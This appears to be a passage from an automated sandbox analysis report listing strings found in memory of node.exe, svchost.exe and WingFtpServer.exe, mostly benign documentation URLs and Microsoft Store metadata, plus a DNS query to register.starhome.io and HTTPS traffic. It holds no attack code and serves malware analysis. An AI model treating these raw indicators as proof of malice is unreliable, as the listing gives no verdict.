Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://nodejs.org/
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode).
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html
Source: node.exe, 00000022.00000002.620060167.000000001CA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/
Source: node.exe, 00000022.00000002.620060167.000000001CA40000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.612343687.0000000002217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12-headers.tar.gz
Source: node.exe, 00000022.00000002.620060167.000000001CA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12-headers.tar.gz%
Source: node.exe, 00000022.00000002.620060167.000000001CA40000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.612343687.0000000002217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12.tar.gz
Source: node.exe, 00000022.00000002.620060167.000000001CA40000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.612343687.0000000002217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/win-x86/node.lib
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://sourcemaps.info/spec.html
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://stackoverflow.com/a/5501711/3561
Source: svchost.exe, 00000009.00000002.311375207.000001D5F963D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000009.00000002.311253224.000001D5F9613000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311375207.000001D5F963D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310660287.000001D5F9645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310660287.000001D5F9645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000009.00000003.288603794.000001D5F9632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000009.00000002.311371655.000001D5F963B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.288603794.000001D5F9632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000009.00000003.310649707.000001D5F9647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311417918.000001D5F964E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%typedarray%.of
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-object.prototype.tostring
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2397#section-2
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3492#section-3.4
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3986#section-3.2.2
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.2
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.6
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7540#section-8.1.2.5
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#cannot-have-a-username-password-port
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-url
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-url-origin
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-byte-serializer
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-parser
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-serializer
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#url
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams-stringification-behavior
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#the-integrity-attribute
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F
Source: node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: svchost.exe, 00000031.00000003.501712973.0000015A14185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000031.00000003.501712973.0000015A14185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-line-terminators
Source: node.exe, 00000022.00000002.623548071.000000003ACC0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.604744457.0000000001801000.00000040.00000001.01000000.0000000E.sdmp, node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-promise.all
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-timeclip
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/5.1/#sec-15.1.3.4
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.iana.org/assignments/tls-extensiontype-values
Source: svchost.exe, 00000031.00000003.516815673.0000015A141AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.517655128.0000015A14196000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.518006368.0000015A14602000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.517149780.0000015A141AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.517385479.0000015A14185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.555929864.00000000009CC000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.556464903.0000000000A0D000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.559144416.0000000002C7D000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wftpserver.com/
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000003.346283187.0000000003A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wftpserver.com/6https://www.wftpserver.com/6https://www.wftpserver.com/
Source: node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown

DNS traffic detected: queries for: register.starhome.io

Source: global traffic

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

Source: svchost.exe, 00000031.00000003.530894837.0000015A14189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-09-08T06:50:29.2297325Z\|\|.\|\|7ac20334-07cb-4866-888a-33234768f7ef\|\|1152921505695254448\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000031.00000003.530894837.0000015A14189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-09-08T06:50:29.2297325Z\|\|.\|\|7ac20334-07cb-4866-888a-33234768f7ef\|\|1152921505695254448\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000031.00000003.530894837.0000015A14189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentData":{"ProductId":"9NCBCSZSJRSB","WuCategoryId":"5c353b9c-7ac7-4d27-af07-923e7d9aa2e2","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","SkuId":"0010"},"FulfillmentType":"WindowsUpdate","FulfillmentPluginId":null,"Packages":[{"Applications":[{"ApplicationId":"Spotify"}],"Architectures":["x86"],"Capabilities":["internetClient","runFullTrust","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":110594921,"MaxInstallSizeInBytes":218030080,"PackageFormat":"Appx","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","MainPackageFamilyNameForDlc":null,"PackageFullName":"SpotifyAB.SpotifyMusic_1.192.647.0_x86__zpdnekdrzrea0","PackageId":"e3ffbaf1-533d-0e62-534a-7003b35c0759-X86","PackageRank":30001,"PlatformDependencies":[{"MaxTested":2814750754275328,"MinVersion":2814750710366559,"PlatformName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.packageId\":\"SpotifyAB.SpotifyMusic_1.192.647.0_x86__zpdnekdrzrea0\",\"content.productId\":\"caac1b9d-621b-4f96-b143-e10e1397740a\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750754275 equals www.facebook.com (Facebook)
Source: svchost.exe, 00000031.00000003.530894837.0000015A14189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentData":{"ProductId":"9NCBCSZSJRSB","WuCategoryId":"5c353b9c-7ac7-4d27-af07-923e7d9aa2e2","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","SkuId":"0010"},"FulfillmentType":"WindowsUpdate","FulfillmentPluginId":null,"Packages":[{"Applications":[{"ApplicationId":"Spotify"}],"Architectures":["x86"],"Capabilities":["internetClient","runFullTrust","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":110594921,"MaxInstallSizeInBytes":218030080,"PackageFormat":"Appx","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","MainPackageFamilyNameForDlc":null,"PackageFullName":"SpotifyAB.SpotifyMusic_1.192.647.0_x86__zpdnekdrzrea0","PackageId":"e3ffbaf1-533d-0e62-534a-7003b35c0759-X86","PackageRank":30001,"PlatformDependencies":[{"MaxTested":2814750754275328,"MinVersion":2814750710366559,"PlatformName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.packageId\":\"SpotifyAB.SpotifyMusic_1.192.647.0_x86__zpdnekdrzrea0\",\"content.productId\":\"caac1b9d-621b-4f96-b143-e10e1397740a\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750754275 equals www.twitter.com (Twitter)
Source: svchost.exe, 00000031.00000003.525140603.0000015A141AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.525562566.0000015A1418D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t enough.\r\n\r\nSHARE WITH FRIENDS\r\nSend photos and videos to keep your close friends up to speed. Receive files for even more productivity.\r\n\r\n\r\nCalls are free over Wi-Fi but otherwise standard data charges apply.\r\nPrivacy Policy: https://www.facebook.com/about/privacy \| LEARN MORE at: https://messenger.com (https://messenger.com/)","ProductTitle":"Messenger","SearchTitles":[],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9WZDNCRF0083","Properties":{"PackageFamilyName":"Facebook.317180B0BB486_8xx8rvfyw5nnt","PackageIdentityName":"FACEBOOK.317180B0BB486","PublisherCertificateName":"CN=6E08453F-9BA7-4311-999C-D22FBA2FB1B8","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"c6a9fa5c-20a2-4e12-904d-edd408657dc8"},{"IdType":"LegacyWindowsPhoneProductId","Value":"3219d30d-4a23-4f58-a91c-c44b04e6a0c7"},{"IdType":"XboxTitleId","Value":"2004208728"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-09-09T22:39:32.7082563Z\|\|.\|\|e86fc780-362a-40ac-a492-00a82914d51a\|\|1152921505695235378\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku":{"LastModifiedDate":"2022-09-09T22:38:30.0902509Z","LocalizedProperties":[{"SkuDescription":"Made for big screens and close connections. Get access to free texting, and high-quality voice & video chat built specifically for desktop.\r\n\r\nMADE FOR DESKTOP, MADE
Source: svchost.exe, 00000031.00000003.524831727.0000015A1418D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t enough.\r\n\r\nSHARE WITH FRIENDS\r\nSend photos and videos to keep your close friends up to speed. Receive files for even more productivity.\r\n\r\n\r\nCalls are free over Wi-Fi but otherwise standard data charges apply.\r\nPrivacy Policy: https://www.facebook.com/about/privacy \| LEARN MORE at: https://messenger.com 